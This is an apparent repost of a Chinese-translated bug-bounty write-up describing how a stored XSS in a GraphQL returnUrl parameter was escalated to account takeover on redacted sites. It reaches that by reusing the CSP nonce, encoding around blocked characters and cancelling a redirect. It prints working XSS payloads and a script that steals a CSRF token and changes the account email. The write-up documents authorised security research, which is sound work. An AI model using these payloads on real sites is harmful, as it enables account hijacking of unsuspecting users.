Host: payments.redactedtwo.com
...

{"query":"mutation {\n ...redacted...(input:{ ...redacted... \n
returnUrl: \"<payload here>\" ... }) ...

我們可以看到這個 GraphQL API 接受一個returnUrl參數,該參數將成為我們的有效負載源。請注意,GraphQL 調用是完全獨立的頂級域上的 API。這很有趣,因為它允許將存儲在品牌域之一中的有效負載呈現在另一個可能更為關鍵的域中。提交后,我們可以訪問網站上一個唯一的靜態 URL,該 URLwww.redacted.com在參數中包含我們的有效負載returnUrl

讓我們看看有效載荷在接收器上是如何出現的www.redacted.com

<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = '<payload>?..dynamic url parameters...'
</script>

我們看到這個腳本有一個 nonce,并且我們的注入點<payload>就在腳本內部——看起來像是一個非常容易存儲的 XSS,對嗎?

nonce 的存在稍后會變得很重要,讓我們看一下Content-Security-Policy標頭以了解存在哪些限制(注意:直到我深入到有效載荷開發時我才查看 CSP – 這是一個大錯誤,導致我至少浪費了?2 個小時,原因我將在后面描述)。我將把它分成幾行以便于閱讀:

Content-Security-Policy:
default-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
script-src 'nonce-G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE' 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com;
img-src 'self' https:;
frame-src 'self' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;
child-src 'self' https://*.redacted.com https://*.redactedtwo.com;
object-src 'none';
font-src 'self' https://*.redacted.com https://*.redactedtwo.com;
base-uri 'self' https://*.redacted.com;
form-action 'self' https://*.redacted.com;
upgrade-insecure-requests;
connect-src 'self' 'unsafe-inline' https://*.redacted.com https://*.redactedtwo.com https://*.qualtrics.com;

我們可以看到這個 CSP 非常嚴格 – 我們只能從(強化的)品牌網站本身獲取信息,并且頁面上的任何腳本標簽都需要 nonce。

嘗試 1:javascript://url

顯而易見,在注入點的第一次嘗試location.href=是簡單地放置一個帶有有效負載的 Javascript 方案,例如javascript://alert(1)。我很幸運,因為這里沒有明顯的 WAF 阻止像這樣的簡單有效負載。所以我嘗試了這個,然后……

…失敗了。GraphQL API 拒絕了 URL 并顯示錯誤400。我嘗試了許多其他嘗試,編碼、基礎、空格等 – 都沒有成功。API 正在驗證提供的 URL 以 開頭https://并包含完整主機名,后面跟著/。所以很明顯我們有一個開放的重定向,但我知道這可以被利用來執行存儲型 XSS。

例如https://hackerone.com/將導致以下存儲的有效載荷:

<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = 'https://hackerone.com/?...dynamic URL parameters...'
</script>

簡要說明一下...dynamic URL parameters...– 這些是附加到 GraphQL API 中提供的 URL 的參數,代表唯一的交易 ID、有關客戶的信息等 – 這始終以?單引號內的前導字符結尾。

附注:這里有幾個錯誤的開始

在本文的后面,出于顯而易見的原因,我嘗試提交各種形式的https://不帶尾部斜杠的 URL – 這將導致主機名后面的所有內容都經過 URL 編碼,并且通常在 Javascript 上下文中對 XSS 毫無用處。我應該早點嘗試一下,因為這樣以后可以節省大量時間。

嘗試 2:尾隨有效載荷

此時我們知道有效載荷必須以有效的 URL 和主機名開頭,因此我們以此https://hackerone.com/作為有效載荷的開頭。

幸運的是,我能想到的下一個最明顯的有效載荷起作用了。單引號字符沒有被任何方式阻止或編碼,因此以下有效載荷實際上生成了存儲警報:

https://hackerone.com/';alert(document.domain);//

這生成了一個警報(很棒),但關閉后,用戶會立即重定向到提供的 URL。太棒了!存儲了 XSS 有效負載并具有 DOM 訪問權!

提交

此時,我認為自己做得不錯,并在事件現場部分開始之前將錯誤提交到了 LHE。在將錯誤分類為中等影響后,我向分類/客戶團隊發送了一條通知,詢問需要什么才能證明影響更大。

另外,對于那些不知道 HackerOne LHE 如何構建的人來說,有一段(5.5 天)時間,LHE 參與者會被告知范圍并可以提交錯誤。這些錯誤會被分類,但直到活動的現場部分才會最終確定/付款。現場部分包括一天(實際上約 10 小時),參與者可以提交其他錯誤或升級之前提交的錯誤。

客戶(通過分類團隊)回復說,他們認為,由于主站點上的 CSP 和 cookie 設置,不可能將存儲型 XSS 升級到更高的嚴重程度。

已接受的挑戰!

當然,我認為這是個挑戰,因為我知道,只要將有效載荷放在上下文中,<script nonce>我就能夠制作我想要的任何有效載荷,利用它將很容易!

下一步:構建 ATO 有效載荷

我開始設計我能想到的最好的存儲型 XSS ATO 有效載荷。有效載荷執行了以下任務,我在主站點上打開的窗口的開發控制臺 (F12) 中對其進行了測試:

請注意,connect-srcCSP 使得嘗試使用 Javascript 將信息從頁面泄露到攻擊者域變得不可能,因此 ATO(或類似的 CSRF 行為是我在此處選擇的有效載荷)。

此時,攻擊者可以接管該帳戶,因為他們控制了電子郵件地址,可以使用“忘記密碼”功能來完成接管。cookie(甚至HttpOnly)將在最后一個請求中發送,因為同源策略允許它們被包含在內(XHR 源自正確的域,www.redacted.com)。

我想大多數人都熟悉如何編寫這種類型的有效載荷,因此在這里我就不詳細介紹了,因為它非常簡單:

function decodeHtml(html) {
var txt = document.createElement("textarea");
txt.innerHTML = html;
return txt.value;
}
fetch("https://www.redacted.com/url/to/get/csrf/").then(r => r.text()).then(r => {
csrf_token = /data-token="([^"]*)"/.exec(r)[1]
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.redacted.com/api/to/change/email", true);
xhr.setRequestHeader("X-Csrf-Token", decodeHtml(csrf_token));
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
o=new Object(); ... other parameters ... o.email='<my_email_address>';
xhr.send(JSON.stringify(o));
})

我在 Chrome 開發控制臺中對此進行了測試,并確認它具有 ATO 的預期效果。準備就緒!

嘗試3:拒絕

我將有效負載提交給 GraphQL API,一切正常!最初沒有錯誤,但后來我點擊了存儲的 XSS 頁面本身,然后看到…

HTTP/2 400 Bad Request

存儲的有效載荷沒有呈現!

回到原始alert(document.domain)有效載荷,它起作用了。因此,我的完整 ATO 有效載荷中一定存在某些問題,導致服務器無法呈現 XSS。

在對工作有效載荷進行多次迭代之后(不幸的是,由于源和接收器是不同的事務并且需要幾個中間步驟,我無法使用任何方便的自動化工具),我發現以下所有字符都會導致錯誤400

{}<>"[]

請注意,所有空白字符也被拒絕。可能還有其他我不記得的字符 ?? 但以下肯定沒有被阻止

()=.;/\

所以,我只需要處理有限的 Javascript 詞匯量,沒問題!

嘗試 4:異步

我最終重寫了大部分有效載荷以排除受限制的字符。請注意,我嘗試了所有類型的編碼(URL、javascript、十六進制、八進制、雙重編碼等),但這些都無法繞過限制。我要指出的是,這非常繁瑣,因為錯誤出現在接收器上,而不是源頭上,因此每次迭代至少浪費了一兩分鐘。

fetch我甚至收到了使用受限字符集的初始請求,如下所示:

https://hackerone.com/';fetch("https://www.redacted.com/url/to/get/csrf/").then(console.log);//

我可以看到Response來自fetch調用的對象擊中了控制臺日志——現在我們已經取得了一些進展!

然后我遇到了大問題

請記住,我的攻擊鏈需要 3 個步驟:

因為fetch(和) 是異步 API,所以我們需要用lambda 函數XMLHttpRequest填充方法then參數,該函數將在 Promise 解析時異步執行(有關更多信息,請參閱mdn)。問題是,如果沒有這些字符,我認為無法在 Javascript 中構造 lambda 函數,無論是使用括號語法還是箭頭語法(如果有人聰明地閱讀本文并提出建議,我的 DM 在 Twitter 上是開放的,我非常感興趣!)。{}>

我立即意識到這是一個巨大的障礙。即使我重寫了其余的有效負載以避免所有這些其他字符(最終成為可能),無法定義在 Promise 解析時要調用的 lambda 函數仍然是一個難題。

但請稍等!在 Javascript 參考中的對象文檔中Function,有一種形式Function(var, body),其中body是一個字符串!無需括號或箭頭語法!

嘗試 5:還有一件事……

我興奮地重寫了我的有效載荷以利用這個驚人的語法,結果卻發現我在 CSP 中遺漏了一些東西……eval由于 CSP 缺少指令,因此不允許unsafe-eval。沒錯,這種形式的Function構造函數(毫不奇怪)eval在幕后使用該形式將該字符串轉換為實際的 Javascript 函數。

這很不幸,因為我浪費了大約 30 分鐘的寶貴時間來弄清楚這個語法是如何工作的(文檔對于如何傳遞和引用變量有點模糊)。

我認為這種方法根本行不通,因為某些特定字符被阻止了。(實際上,此時我還沒有弄清楚空格也因為某種原因被阻止了,我會責怪睡眠不足),這會使編寫函數變得困難甚至不可能。

嘗試 6:不同的方法

所以這時我去吃了點東西,因為我已經連續奮斗了至少 3 個小時。當我在走廊里徘徊時,我陷入了沉思。顯然我可以調用 Javascript 方法,因為我可以訪問這些().;字符。我肯定能想出點辦法!

(我要補充一點,我相信有人會非常樂意幫助我,但由于這是我的第一個 LHE,所以我想在沒有任何幫助的情況下找到一個真正有影響力的錯誤!)

這時我意識到了三件事:

我決定嘗試以下方法:

有趣的是,如果您還沒有遇到過這種情況 – 如果<script>標簽已經開始執行(頁面上的一個標簽),則替換innerText將不起作用。由于 CSP,除了<script>使用 nonce 的標簽之外,我沒有看到任何其他方法來執行我的有效載荷(再次強調,如果我遇到了,我很想聽聽大家的評論或建議!)。

但是,如果頁面尚未完成內聯腳本的渲染和執行,您可以<script>在內聯腳本后插入一個新節點并執行它(請注意,這僅在頁面尚未加載時才有效 – 如果您嘗試在事件觸發<script>后插入 DOM 節點onload,則為時已晚)。

希望你們仍然和我在一起!

我決定用一個簡單的有效載荷來嘗試這個,如下所示:

https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText='alert(document.domain);';document.head.appendChild(s);;//'

我啟動了它……它成功了!警報彈出,新標簽上的隨機數使我的腳本通過了 CSP 檢查。

非常興奮,因為看起來這個策略會起作用!

嘗試 7:避免使用特殊字符

我想說的是,此時我基本上已經有了關于其余有效載荷的想法,但是我面臨著極大的時間壓力,需要在 LHE 結束前提交升級,最終卻因為幾個愚蠢的錯誤而浪費了一些時間。

第一個錯誤是嘗試只編碼那些被阻止的字符。手動操作很困難,而且當我發現漏了一個字符時,我花了很多時間。

因此我決定采用以下方法:

生成的 shell 命令:

(for i in cat redacted_payload.txt | xxd -ps -c 0 | sed -e 's/\(..\)/\1\n/g'; do echo "String.fromCharCode("$((16#${i}))")+"; done) | tr -d '\n'

輸出結果如下:

String.fromCharCode(123)+String.fromCharCode(32)+String.fromCharCode(102)+String.fromCharCode(117)+
... repeating for many characters ...

再說一次,當沒有時間壓力時,我相信我可以在這里想出一些更優雅的東西,但這個方法奏效了,我最終得到了一個非常大的有效載荷(幸運的是,可以存儲的 URL 沒有長度限制!)。

我提交了完整的payload,現在看起來像這樣:

https://hackerone.com/';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

但…它沒起作用。就在那時我記起了我忽略的一件事…

最后一步:煩人的重定向

請記住,我們注入的內聯腳本是通過設置屬性來重定向窗口而啟動的location.href。這會導致瀏覽器開始導航,此時它可能/也可能不會完成任何進一步的內聯腳本的執行,并且它肯定不會等待 asyncPromise完成(例如 XHR 或)fetch。我看到的是,我編碼的有效負載正在運行,但瀏覽器會立即離開頁面,整個過程沒有機會完成。

還要記住,重定向必須以合法的主機名開頭,因此不可能提供瀏覽器無法導航到的無效重定向。

此時我開始有點慌了,提交結束前大約還有 30 分鐘,我知道我即將升級。我查閱了 Javascript 參考資料,了解了location.href設置時的行為,我看到了window.stop()記錄為“中止瀏覽器導航”的小妙招。這看起來像是我的答案,所以我在 URL 字符串結束后立即添加了一個調用,如下所示:

https://hackerone.com/';window.stop();s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

好消息:這達到了停止重定向的預期效果!

真的是壞消息:這也阻止了任何未完成的fetchXHR沒有簡單方法恢復的請求。

雖然可能可以編寫一些巧妙的代碼來解決這個問題,但我現在只剩下 20 分鐘了,需要快速找到解決方案!

此時,我想知道如果我location.href 再次設置其他內容,如果速度足夠快,第二個任務是否會覆蓋第一個導航。起初我嘗試使用 URL javascript:(這太容易了),最后發現 URLfoo://a會讓瀏覽器的行為完全符合我的期望:

此時,距離提交截止僅剩 15 分鐘,我已獲得最終的有效載荷:

https://hackerone.com/';location.href='foo://a';s=document.createElement('script');s.nonce=document.getElementsByTagName('script').item(1).nonce;s.innerText=<very_long_encoded_payload>;document.head.appendChild(s);;//'

我在幾分鐘之內就將有效載荷連同成功的存儲型 XSS 證據一起提交給了 ATO,并且已經在這個升級鏈上花了將近 6 個小時。

客戶接受了這種升級,并且非常驚訝在所有保護措施到位的情況下這竟然是可能的。

結論

最后還有幾點總結建議:

我確信還有其他方法可以解決這個問題,但我認為解決方案的歷程和不同階段的思考過程(以及失敗!)可能會讓讀者感興趣

文章轉自微信公眾號@Rsec

上一篇:

Springboot整合GraphQL使你的API更易理解可讀性更強

下一篇:

項目實戰:使用 Fiber + Gorm 構建 REST API
#你可能也喜歡這些API文章!

我們有何不同?

API服務商零注冊

多API并行試用

數據驅動選型,提升決策效率

查看全部API→
??

熱門場景實測,選對API

#AI文本生成大模型API

對比大模型API的內容創意新穎性、情感共鳴力、商業轉化潛力

25個渠道
一鍵對比試用API 限時免費

#AI深度推理大模型API

對比大模型API的邏輯推理準確性、分析深度、可視化建議合理性

10個渠道
一鍵對比試用API 限時免費